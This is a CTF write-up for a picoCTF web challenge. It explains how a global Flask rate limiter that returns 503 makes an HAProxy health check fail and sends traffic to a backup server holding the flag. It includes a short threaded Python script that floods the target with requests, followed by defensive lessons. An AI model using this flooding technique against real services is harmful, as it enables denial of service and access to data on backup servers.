Overview
We're given two files — an HAProxy load balancer config and a Flask app. The goal is to retrieve the flag hidden on the backup server.
Category: Web Exploitation | Difficulty: Medium | Tools: Python, requests, HAProxy config analysis
Step 1 — Analyzing the HAProxy Config
backend servers
option httpchk GET /
http-check expect status 200
server s1 *:8000 check inter 2s fall 2 rise 3
server s2 *:9000 check backup inter 2s fall 2 rise 3
Key observations:
-
s1(port 8000) is the primary server -
s2(port 9000) is the backup server — only used when s1 is down - Health check runs
GET /every 2 seconds and expects HTTP 200 -
fall 2means s1 is marked down after 2 consecutive failed health checks -
rise 3means s1 needs 3 successful checks to come back online
Step 2 — Analyzing the Flask App
if os.getenv("IS_BACKUP") == "yes":
flag = os.getenv("FLAG")
else:
flag = "No flag in this service"
The flag is only available on the backup server where IS_BACKUP=yes.
The real vulnerability is in the rate limiter:
limiter = Limiter(
key_func=global_rate_limit_key, # global limit, not per-IP!
default_limits=["300 per minute"]
)
@app.errorhandler(429)
def ratelimit_exceeded(e):
return "Service Unavailable: Rate limit exceeded", 503
When the rate limit is exceeded, the server returns 503 instead of 200 — which fails the HAProxy health check.
Step 3 — The Attack Plan
The chain of events we need to trigger:
- Flood the primary server (s1) with 300+ requests per minute
- s1 starts returning
503due to rate limiting - HAProxy health check sees
503(not200) → marks s1 as down after 2 failures - HAProxy switches all traffic to the backup server s2
- s2 has
IS_BACKUP=yes→ returns the flag
Step 4 — Exploit Script
import requests
from concurrent.futures import ThreadPoolExecutor
url = "http://CHALLENGE_URL/"
def send():
try:
return requests.get(url, timeout=5)
except:
pass
# Flood s1 to trigger rate limiting
print("[*] Flooding primary server...")
with ThreadPoolExecutor(max_workers=50) as ex:
futures = [ex.submit(send) for _ in range(400)]
# Now fetch — should hit backup server
print("[*] Fetching flag from backup server...")
resp = requests.get(url)
print(resp.text)
Step 5 — Getting the Flag
After flooding the primary server, the next request routes to the backup:
picoCTF{...flag...}
Flag captured!
Vulnerability Summary
1. Global rate limiter — Shared across all users, not per-IP. Any single user can exhaust the limit for everyone, triggering system-level side effects.
2. HAProxy health check fails on 503 — An attacker can deliberately trigger 503s to force failover to the backup server.
3. Flag on backup server — Placing sensitive data on a "backup" assuming it won't be reached is a false assumption. All servers in a cluster must be treated as equally reachable.
Lessons Learned
- Never put sensitive data exclusively on a backup server. The assumption that it won't be reached under normal conditions is exactly what an attacker will exploit.
- Use per-IP rate limiting. Global limits let a single user starve everyone else and trigger system-level side effects like this failover.
- Health check endpoints should be rate-limit exempt. Mixing health checks with user-facing rate limiting creates an unintended control surface for attackers.
- All servers in a cluster are attack surface. Design every node as if it could be directly targeted.
Thanks for reading! If you found this helpful, consider following for more CTF writeups.

















